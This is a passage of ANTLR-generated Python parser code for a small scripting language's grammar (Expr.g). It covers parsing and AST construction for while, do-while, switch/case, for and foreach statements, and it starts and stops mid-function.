self.FOLLOW_76_in_while_stmt638) if self._state.backtracking == 0: stream_76.add(char_literal64) self._state.following.append(self.FOLLOW_block_in_while_stmt640) block65 = self.block() self._state.following.pop() if self._state.backtracking == 0: stream_block.add(block65.tree) # AST Rewrite # elements: expr, block # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 116:3: -> ^( WHILE expr block ) # Expr.g:116:6: ^( WHILE expr block ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(WHILE, "WHILE") , root_1) self._adaptor.addChild(root_1, stream_expr.nextTree()) self._adaptor.addChild(root_1, stream_block.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "while_stmt" class do_while_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.do_while_stmt_return, self).__init__() self.tree = None # $ANTLR start "do_while_stmt" # Expr.g:119:1: do_while_stmt : 'do' block 'while' '(' expr ')' ';' -> ^( DO_WHILE block expr ) ; def do_while_stmt(self, ): retval = self.do_while_stmt_return() retval.start = self.input.LT(1) root_0 = None string_literal66 = None string_literal68 = None char_literal69 = None char_literal71 = None char_literal72 = None block67 = None expr70 = None string_literal66_tree = None string_literal68_tree = None char_literal69_tree = None char_literal71_tree = None char_literal72_tree = None stream_92 = RewriteRuleTokenStream(self._adaptor, "token 92") stream_111 = RewriteRuleTokenStream(self._adaptor, "token 111") stream_131 = RewriteRuleTokenStream(self._adaptor, "token 131") stream_75 = RewriteRuleTokenStream(self._adaptor, "token 75") stream_76 = RewriteRuleTokenStream(self._adaptor, "token 76") stream_block = RewriteRuleSubtreeStream(self._adaptor, "rule block") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") try: try: # Expr.g:120:2: ( 'do' block 'while' '(' expr ')' ';' -> ^( DO_WHILE block expr ) ) # Expr.g:120:4: 'do' block 'while' '(' expr ')' ';' pass string_literal66 = self.match(self.input, 111, self.FOLLOW_111_in_do_while_stmt663) if self._state.backtracking == 0: stream_111.add(string_literal66) self._state.following.append(self.FOLLOW_block_in_do_while_stmt665) block67 = self.block() self._state.following.pop() if self._state.backtracking == 0: stream_block.add(block67.tree) string_literal68 = self.match(self.input, 131, self.FOLLOW_131_in_do_while_stmt667) if self._state.backtracking == 0: stream_131.add(string_literal68) char_literal69 = self.match(self.input, 75, self.FOLLOW_75_in_do_while_stmt669) if self._state.backtracking == 0: stream_75.add(char_literal69) self._state.following.append(self.FOLLOW_expr_in_do_while_stmt671) expr70 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr70.tree) char_literal71 = self.match(self.input, 76, self.FOLLOW_76_in_do_while_stmt673) if self._state.backtracking == 0: stream_76.add(char_literal71) char_literal72 = self.match(self.input, 92, self.FOLLOW_92_in_do_while_stmt675) if self._state.backtracking == 0: stream_92.add(char_literal72) # AST Rewrite # elements: expr, block # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 121:3: -> ^( DO_WHILE block expr ) # Expr.g:121:6: ^( DO_WHILE block expr ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(DO_WHILE, "DO_WHILE") , root_1) self._adaptor.addChild(root_1, stream_block.nextTree()) self._adaptor.addChild(root_1, stream_expr.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "do_while_stmt" class switch_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.switch_stmt_return, self).__init__() self.tree = None # $ANTLR start "switch_stmt" # Expr.g:124:1: switch_stmt : 'switch' '(' expr ')' case_block -> ^( SWITCH expr case_block ) ; def switch_stmt(self, ): retval = self.switch_stmt_return() retval.start = self.input.LT(1) root_0 = None string_literal73 = None char_literal74 = None char_literal76 = None expr75 = None case_block77 = None string_literal73_tree = None char_literal74_tree = None char_literal76_tree = None stream_128 = RewriteRuleTokenStream(self._adaptor, "token 128") stream_75 = RewriteRuleTokenStream(self._adaptor, "token 75") stream_76 = RewriteRuleTokenStream(self._adaptor, "token 76") stream_case_block = RewriteRuleSubtreeStream(self._adaptor, "rule case_block") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") try: try: # Expr.g:125:2: ( 'switch' '(' expr ')' case_block -> ^( SWITCH expr case_block ) ) # Expr.g:125:4: 'switch' '(' expr ')' case_block pass string_literal73 = self.match(self.input, 128, self.FOLLOW_128_in_switch_stmt698) if self._state.backtracking == 0: stream_128.add(string_literal73) char_literal74 = self.match(self.input, 75, self.FOLLOW_75_in_switch_stmt700) if self._state.backtracking == 0: stream_75.add(char_literal74) self._state.following.append(self.FOLLOW_expr_in_switch_stmt702) expr75 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr75.tree) char_literal76 = self.match(self.input, 76, self.FOLLOW_76_in_switch_stmt704) if self._state.backtracking == 0: stream_76.add(char_literal76) self._state.following.append(self.FOLLOW_case_block_in_switch_stmt706) case_block77 = self.case_block() self._state.following.pop() if self._state.backtracking == 0: stream_case_block.add(case_block77.tree) # AST Rewrite # elements: case_block, expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 126:3: -> ^( SWITCH expr case_block ) # Expr.g:126:6: ^( SWITCH expr case_block ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(SWITCH, "SWITCH") , root_1) self._adaptor.addChild(root_1, stream_expr.nextTree()) self._adaptor.addChild(root_1, stream_case_block.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "switch_stmt" class case_block_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.case_block_return, self).__init__() self.tree = None # $ANTLR start "case_block" # Expr.g:128:1: case_block : '{' ( case_clause )+ ( default_clause )? '}' ; def case_block(self, ): retval = self.case_block_return() retval.start = self.input.LT(1) root_0 = None char_literal78 = None char_literal81 = None case_clause79 = None default_clause80 = None char_literal78_tree = None char_literal81_tree = None try: try: # Expr.g:129:2: ( '{' ( case_clause )+ ( default_clause )? '}' ) # Expr.g:129:4: '{' ( case_clause )+ ( default_clause )? '}' pass root_0 = self._adaptor.nil() char_literal78 = self.match(self.input, 132, self.FOLLOW_132_in_case_block728) if self._state.backtracking == 0: char_literal78_tree = self._adaptor.createWithPayload(char_literal78) self._adaptor.addChild(root_0, char_literal78_tree) # Expr.g:129:8: ( case_clause )+ cnt11 = 0 while True: #loop11 alt11 = 2 LA11_0 = self.input.LA(1) if (LA11_0 == 106) : alt11 = 1 if alt11 == 1: # Expr.g:129:9: case_clause pass self._state.following.append(self.FOLLOW_case_clause_in_case_block731) case_clause79 = self.case_clause() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, case_clause79.tree) else: if cnt11 >= 1: break #loop11 if self._state.backtracking > 0: raise BacktrackingFailed eee = EarlyExitException(11, self.input) raise eee cnt11 += 1 # Expr.g:129:23: ( default_clause )? alt12 = 2 LA12_0 = self.input.LA(1) if (LA12_0 == 110) : alt12 = 1 if alt12 == 1: # Expr.g:129:24: default_clause pass self._state.following.append(self.FOLLOW_default_clause_in_case_block736) default_clause80 = self.default_clause() self._state.following.pop() if self._state.backtracking == 0: self._adaptor.addChild(root_0, default_clause80.tree) char_literal81 = self.match(self.input, 136, self.FOLLOW_136_in_case_block740) if self._state.backtracking == 0: char_literal81_tree = self._adaptor.createWithPayload(char_literal81) self._adaptor.addChild(root_0, char_literal81_tree) retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "case_block" class case_clause_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.case_clause_return, self).__init__() self.tree = None # $ANTLR start "case_clause" # Expr.g:131:1: case_clause : ( case_test )+ ( stmt )* break_stmt -> ^( CASE ( case_test )+ ( stmt )* break_stmt ) ; def case_clause(self, ): retval = self.case_clause_return() retval.start = self.input.LT(1) root_0 = None case_test82 = None stmt83 = None break_stmt84 = None stream_case_test = RewriteRuleSubtreeStream(self._adaptor, "rule case_test") stream_stmt = RewriteRuleSubtreeStream(self._adaptor, "rule stmt") stream_break_stmt = RewriteRuleSubtreeStream(self._adaptor, "rule break_stmt") try: try: # Expr.g:132:2: ( ( case_test )+ ( stmt )* break_stmt -> ^( CASE ( case_test )+ ( stmt )* break_stmt ) ) # Expr.g:132:4: ( case_test )+ ( stmt )* break_stmt pass # Expr.g:132:4: ( case_test )+ cnt13 = 0 while True: #loop13 alt13 = 2 LA13_0 = self.input.LA(1) if (LA13_0 == 106) : alt13 = 1 if alt13 == 1: # Expr.g:132:4: case_test pass self._state.following.append(self.FOLLOW_case_test_in_case_clause750) case_test82 = self.case_test() self._state.following.pop() if self._state.backtracking == 0: stream_case_test.add(case_test82.tree) else: if cnt13 >= 1: break #loop13 if self._state.backtracking > 0: raise BacktrackingFailed eee = EarlyExitException(13, self.input) raise eee cnt13 += 1 # Expr.g:132:15: ( stmt )* while True: #loop14 alt14 = 2 LA14_0 = self.input.LA(1) if (LA14_0 == 105) : LA14_1 = self.input.LA(2) if (LA14_1 == 92) : LA14_3 = self.input.LA(3) if (LA14_3 == ID or LA14_3 == 80 or LA14_3 == 84 or LA14_3 == 92 or LA14_3 == 105 or (108 <= LA14_3 <= 109) or LA14_3 == 111 or (115 <= LA14_3 <= 119) or (122 <= LA14_3 <= 123) or LA14_3 == 125 or (128 <= LA14_3 <= 131)) : alt14 = 1 elif (LA14_0 == ID or LA14_0 == 80 or LA14_0 == 84 or LA14_0 == 92 or (108 <= LA14_0 <= 109) or LA14_0 == 111 or (115 <= LA14_0 <= 119) or (122 <= LA14_0 <= 123) or LA14_0 == 125 or (128 <= LA14_0 <= 131)) : alt14 = 1 if alt14 == 1: # Expr.g:132:15: stmt pass self._state.following.append(self.FOLLOW_stmt_in_case_clause753) stmt83 = self.stmt() self._state.following.pop() if self._state.backtracking == 0: stream_stmt.add(stmt83.tree) else: break #loop14 self._state.following.append(self.FOLLOW_break_stmt_in_case_clause756) break_stmt84 = self.break_stmt() self._state.following.pop() if self._state.backtracking == 0: stream_break_stmt.add(break_stmt84.tree) # AST Rewrite # elements: stmt, case_test, break_stmt # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 133:3: -> ^( CASE ( case_test )+ ( stmt )* break_stmt ) # Expr.g:133:6: ^( CASE ( case_test )+ ( stmt )* break_stmt ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(CASE, "CASE") , root_1) # Expr.g:133:13: ( case_test )+ if not (stream_case_test.hasNext()): raise RewriteEarlyExitException() while stream_case_test.hasNext(): self._adaptor.addChild(root_1, stream_case_test.nextTree()) stream_case_test.reset() # Expr.g:133:24: ( stmt )* while stream_stmt.hasNext(): self._adaptor.addChild(root_1, stream_stmt.nextTree()) stream_stmt.reset(); self._adaptor.addChild(root_1, stream_break_stmt.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "case_clause" class case_test_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.case_test_return, self).__init__() self.tree = None # $ANTLR start "case_test" # Expr.g:135:1: case_test : 'case' expr ':' -> ^( CASE expr ) ; def case_test(self, ): retval = self.case_test_return() retval.start = self.input.LT(1) root_0 = None string_literal85 = None char_literal87 = None expr86 = None string_literal85_tree = None char_literal87_tree = None stream_91 = RewriteRuleTokenStream(self._adaptor, "token 91") stream_106 = RewriteRuleTokenStream(self._adaptor, "token 106") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") try: try: # Expr.g:136:2: ( 'case' expr ':' -> ^( CASE expr ) ) # Expr.g:136:4: 'case' expr ':' pass string_literal85 = self.match(self.input, 106, self.FOLLOW_106_in_case_test782) if self._state.backtracking == 0: stream_106.add(string_literal85) self._state.following.append(self.FOLLOW_expr_in_case_test784) expr86 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr86.tree) char_literal87 = self.match(self.input, 91, self.FOLLOW_91_in_case_test786) if self._state.backtracking == 0: stream_91.add(char_literal87) # AST Rewrite # elements: expr # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 137:3: -> ^( CASE expr ) # Expr.g:137:6: ^( CASE expr ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(CASE, "CASE") , root_1) self._adaptor.addChild(root_1, stream_expr.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "case_test" class default_clause_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.default_clause_return, self).__init__() self.tree = None # $ANTLR start "default_clause" # Expr.g:139:1: default_clause : 'default' ':' ( stmt )* -> ^( DEFAULT ( stmt )* ) ; def default_clause(self, ): retval = self.default_clause_return() retval.start = self.input.LT(1) root_0 = None string_literal88 = None char_literal89 = None stmt90 = None string_literal88_tree = None char_literal89_tree = None stream_110 = RewriteRuleTokenStream(self._adaptor, "token 110") stream_91 = RewriteRuleTokenStream(self._adaptor, "token 91") stream_stmt = RewriteRuleSubtreeStream(self._adaptor, "rule stmt") try: try: # Expr.g:140:2: ( 'default' ':' ( stmt )* -> ^( DEFAULT ( stmt )* ) ) # Expr.g:140:4: 'default' ':' ( stmt )* pass string_literal88 = self.match(self.input, 110, self.FOLLOW_110_in_default_clause806) if self._state.backtracking == 0: stream_110.add(string_literal88) char_literal89 = self.match(self.input, 91, self.FOLLOW_91_in_default_clause808) if self._state.backtracking == 0: stream_91.add(char_literal89) # Expr.g:140:18: ( stmt )* while True: #loop15 alt15 = 2 LA15_0 = self.input.LA(1) if (LA15_0 == ID or LA15_0 == 80 or LA15_0 == 84 or LA15_0 == 92 or LA15_0 == 105 or (108 <= LA15_0 <= 109) or LA15_0 == 111 or (115 <= LA15_0 <= 119) or (122 <= LA15_0 <= 123) or LA15_0 == 125 or (128 <= LA15_0 <= 131)) : alt15 = 1 if alt15 == 1: # Expr.g:140:18: stmt pass self._state.following.append(self.FOLLOW_stmt_in_default_clause810) stmt90 = self.stmt() self._state.following.pop() if self._state.backtracking == 0: stream_stmt.add(stmt90.tree) else: break #loop15 # AST Rewrite # elements: stmt # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 141:3: -> ^( DEFAULT ( stmt )* ) # Expr.g:141:6: ^( DEFAULT ( stmt )* ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(DEFAULT, "DEFAULT") , root_1) # Expr.g:141:16: ( stmt )* while stream_stmt.hasNext(): self._adaptor.addChild(root_1, stream_stmt.nextTree()) stream_stmt.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "default_clause" class for_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.for_stmt_return, self).__init__() self.tree = None # $ANTLR start "for_stmt" # Expr.g:144:1: for_stmt : 'for' '(' (a= exec_list )? ';' expr ';' (b= exec_list )? ')' block -> ^( FOR ( $a)? expr block ( $b)? ) ; def for_stmt(self, ): retval = self.for_stmt_return() retval.start = self.input.LT(1) root_0 = None string_literal91 = None char_literal92 = None char_literal93 = None char_literal95 = None char_literal96 = None a = None b = None expr94 = None block97 = None string_literal91_tree = None char_literal92_tree = None char_literal93_tree = None char_literal95_tree = None char_literal96_tree = None stream_115 = RewriteRuleTokenStream(self._adaptor, "token 115") stream_92 = RewriteRuleTokenStream(self._adaptor, "token 92") stream_75 = RewriteRuleTokenStream(self._adaptor, "token 75") stream_76 = RewriteRuleTokenStream(self._adaptor, "token 76") stream_block = RewriteRuleSubtreeStream(self._adaptor, "rule block") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") stream_exec_list = RewriteRuleSubtreeStream(self._adaptor, "rule exec_list") try: try: # Expr.g:145:2: ( 'for' '(' (a= exec_list )? ';' expr ';' (b= exec_list )? ')' block -> ^( FOR ( $a)? expr block ( $b)? ) ) # Expr.g:145:4: 'for' '(' (a= exec_list )? ';' expr ';' (b= exec_list )? ')' block pass string_literal91 = self.match(self.input, 115, self.FOLLOW_115_in_for_stmt833) if self._state.backtracking == 0: stream_115.add(string_literal91) char_literal92 = self.match(self.input, 75, self.FOLLOW_75_in_for_stmt835) if self._state.backtracking == 0: stream_75.add(char_literal92) # Expr.g:145:15: (a= exec_list )? alt16 = 2 LA16_0 = self.input.LA(1) if (LA16_0 == ID or LA16_0 == 80 or LA16_0 == 84) : alt16 = 1 if alt16 == 1: # Expr.g:145:15: a= exec_list pass self._state.following.append(self.FOLLOW_exec_list_in_for_stmt839) a = self.exec_list() self._state.following.pop() if self._state.backtracking == 0: stream_exec_list.add(a.tree) char_literal93 = self.match(self.input, 92, self.FOLLOW_92_in_for_stmt842) if self._state.backtracking == 0: stream_92.add(char_literal93) self._state.following.append(self.FOLLOW_expr_in_for_stmt844) expr94 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr94.tree) char_literal95 = self.match(self.input, 92, self.FOLLOW_92_in_for_stmt846) if self._state.backtracking == 0: stream_92.add(char_literal95) # Expr.g:145:41: (b= exec_list )? alt17 = 2 LA17_0 = self.input.LA(1) if (LA17_0 == ID or LA17_0 == 80 or LA17_0 == 84) : alt17 = 1 if alt17 == 1: # Expr.g:145:41: b= exec_list pass self._state.following.append(self.FOLLOW_exec_list_in_for_stmt850) b = self.exec_list() self._state.following.pop() if self._state.backtracking == 0: stream_exec_list.add(b.tree) char_literal96 = self.match(self.input, 76, self.FOLLOW_76_in_for_stmt853) if self._state.backtracking == 0: stream_76.add(char_literal96) self._state.following.append(self.FOLLOW_block_in_for_stmt855) block97 = self.block() self._state.following.pop() if self._state.backtracking == 0: stream_block.add(block97.tree) # AST Rewrite # elements: expr, block, a, b # token labels: # rule labels: retval, b, a # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) if b is not None: stream_b = RewriteRuleSubtreeStream(self._adaptor, "rule b", b.tree) else: stream_b = RewriteRuleSubtreeStream(self._adaptor, "token b", None) if a is not None: stream_a = RewriteRuleSubtreeStream(self._adaptor, "rule a", a.tree) else: stream_a = RewriteRuleSubtreeStream(self._adaptor, "token a", None) root_0 = self._adaptor.nil() # 146:3: -> ^( FOR ( $a)? expr block ( $b)? ) # Expr.g:146:6: ^( FOR ( $a)? expr block ( $b)? ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(FOR, "FOR") , root_1) # Expr.g:146:13: ( $a)? if stream_a.hasNext(): self._adaptor.addChild(root_1, stream_a.nextTree()) stream_a.reset(); self._adaptor.addChild(root_1, stream_expr.nextTree()) self._adaptor.addChild(root_1, stream_block.nextTree()) # Expr.g:146:28: ( $b)? if stream_b.hasNext(): self._adaptor.addChild(root_1, stream_b.nextTree()) stream_b.reset(); self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "for_stmt" class foreach_stmt_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.foreach_stmt_return, self).__init__() self.tree = None # $ANTLR start "foreach_stmt" # Expr.g:149:1: foreach_stmt : 'foreach' '(' expr 'as' each ')' block -> ^( FOREACH expr each block ) ; def foreach_stmt(self, ): retval = self.foreach_stmt_return() retval.start = self.input.LT(1) root_0 = None string_literal98 = None char_literal99 = None string_literal101 = None char_literal103 = None expr100 = None each102 = None block104 = None string_literal98_tree = None char_literal99_tree = None string_literal101_tree = None char_literal103_tree = None stream_116 = RewriteRuleTokenStream(self._adaptor, "token 116") stream_104 = RewriteRuleTokenStream(self._adaptor, "token 104") stream_75 = RewriteRuleTokenStream(self._adaptor, "token 75") stream_76 = RewriteRuleTokenStream(self._adaptor, "token 76") stream_block = RewriteRuleSubtreeStream(self._adaptor, "rule block") stream_expr = RewriteRuleSubtreeStream(self._adaptor, "rule expr") stream_each = RewriteRuleSubtreeStream(self._adaptor, "rule each") try: try: # Expr.g:150:2: ( 'foreach' '(' expr 'as' each ')' block -> ^( FOREACH expr each block ) ) # Expr.g:150:4: 'foreach' '(' expr 'as' each ')' block pass string_literal98 = self.match(self.input, 116, self.FOLLOW_116_in_foreach_stmt886) if self._state.backtracking == 0: stream_116.add(string_literal98) char_literal99 = self.match(self.input, 75, self.FOLLOW_75_in_foreach_stmt888) if self._state.backtracking == 0: stream_75.add(char_literal99) self._state.following.append(self.FOLLOW_expr_in_foreach_stmt890) expr100 = self.expr() self._state.following.pop() if self._state.backtracking == 0: stream_expr.add(expr100.tree) string_literal101 = self.match(self.input, 104, self.FOLLOW_104_in_foreach_stmt892) if self._state.backtracking == 0: stream_104.add(string_literal101) self._state.following.append(self.FOLLOW_each_in_foreach_stmt894) each102 = self.each() self._state.following.pop() if self._state.backtracking == 0: stream_each.add(each102.tree) char_literal103 = self.match(self.input, 76, self.FOLLOW_76_in_foreach_stmt896) if self._state.backtracking == 0: stream_76.add(char_literal103) self._state.following.append(self.FOLLOW_block_in_foreach_stmt898) block104 = self.block() self._state.following.pop() if self._state.backtracking == 0: stream_block.add(block104.tree) # AST Rewrite # elements: expr, block, each # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 151:3: -> ^( FOREACH expr each block ) # Expr.g:151:6: ^( FOREACH expr each block ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(FOREACH, "FOREACH") , root_1) self._adaptor.addChild(root_1, stream_expr.nextTree()) self._adaptor.addChild(root_1, stream_each.nextTree()) self._adaptor.addChild(root_1, stream_block.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, self.input.LT(-1), re) finally: pass return retval # $ANTLR end "foreach_stmt" class each_return(ParserRuleReturnScope): def __init__(self): super(ExprParser.each_return, self).__init__() self.tree = None # $ANTLR start "each" # Expr.g:153:1: each : ( each_val -> ^( EACH each_val ) | ID '=>' each_val -> ^( EACH ID each_val ) ); def each(self, ): retval = self.each_return() retval.start = self.input.LT(1) root_0 = None ID106 = None string_literal107 = None each_val105 = None each_val108 = None ID106_tree = None string_literal107_tree = None stream_97 = RewriteRuleTokenStream(self._adaptor, "token 97") stream_ID = RewriteRuleTokenStream(self._adaptor, "token ID") stream_each_val = RewriteRuleSubtreeStream(self._adaptor, "rule each_val") try: try: # Expr.g:154:2: ( each_val -> ^( EACH each_val ) | ID '=>' each_val -> ^( EACH ID each_val ) ) alt18 = 2 LA18_0 = self.input.LA(1) if (LA18_0 == ID) : LA18_1 = self.input.LA(2) if (LA18_1 == 97) : alt18 = 2 elif (LA18_1 == 76 or LA18_1 == 82) : alt18 = 1 else: if self._state.backtracking > 0: raise BacktrackingFailed nvae = NoViableAltException("", 18, 1, self.input) raise nvae else: if self._state.backtracking > 0: raise BacktrackingFailed nvae = NoViableAltException("", 18, 0, self.input) raise nvae if alt18 == 1: # Expr.g:154:4: each_val pass self._state.following.append(self.FOLLOW_each_val_in_each922) each_val105 = self.each_val() self._state.following.pop() if self._state.backtracking == 0: stream_each_val.add(each_val105.tree) # AST Rewrite # elements: each_val # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 155:3: -> ^( EACH each_val ) # Expr.g:155:6: ^( EACH each_val ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(EACH, "EACH") , root_1) self._adaptor.addChild(root_1, stream_each_val.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 elif alt18 == 2: # Expr.g:156:4: ID '=>' each_val pass ID106 = self.match(self.input, ID, self.FOLLOW_ID_in_each937) if self._state.backtracking == 0: stream_ID.add(ID106) string_literal107 = self.match(self.input, 97, self.FOLLOW_97_in_each939) if self._state.backtracking == 0: stream_97.add(string_literal107) self._state.following.append(self.FOLLOW_each_val_in_each941) each_val108 = self.each_val() self._state.following.pop() if self._state.backtracking == 0: stream_each_val.add(each_val108.tree) # AST Rewrite # elements: each_val, ID # token labels: # rule labels: retval # token list labels: # rule list labels: # wildcard labels: if self._state.backtracking == 0: retval.tree = root_0 if retval is not None: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "rule retval", retval.tree) else: stream_retval = RewriteRuleSubtreeStream(self._adaptor, "token retval", None) root_0 = self._adaptor.nil() # 157:3: -> ^( EACH ID each_val ) # Expr.g:157:6: ^( EACH ID each_val ) root_1 = self._adaptor.nil() root_1 = self._adaptor.becomeRoot( self._adaptor.createFromType(EACH, "EACH") , root_1) self._adaptor.addChild(root_1, stream_ID.nextNode() ) self._adaptor.addChild(root_1, stream_each_val.nextTree()) self._adaptor.addChild(root_0, root_1) retval.tree = root_0 retval.stop = self.input.LT(-1) if self._state.backtracking == 0: retval.tree = self._adaptor.rulePostProcessing(root_0) self._adaptor.setTokenBoundaries(retval.tree, retval.start, retval.stop) except RecognitionException, re: self.reportError(re) self.recover(self.input, re) retval.tree = self._adaptor.errorNode(self.input, retval.start, 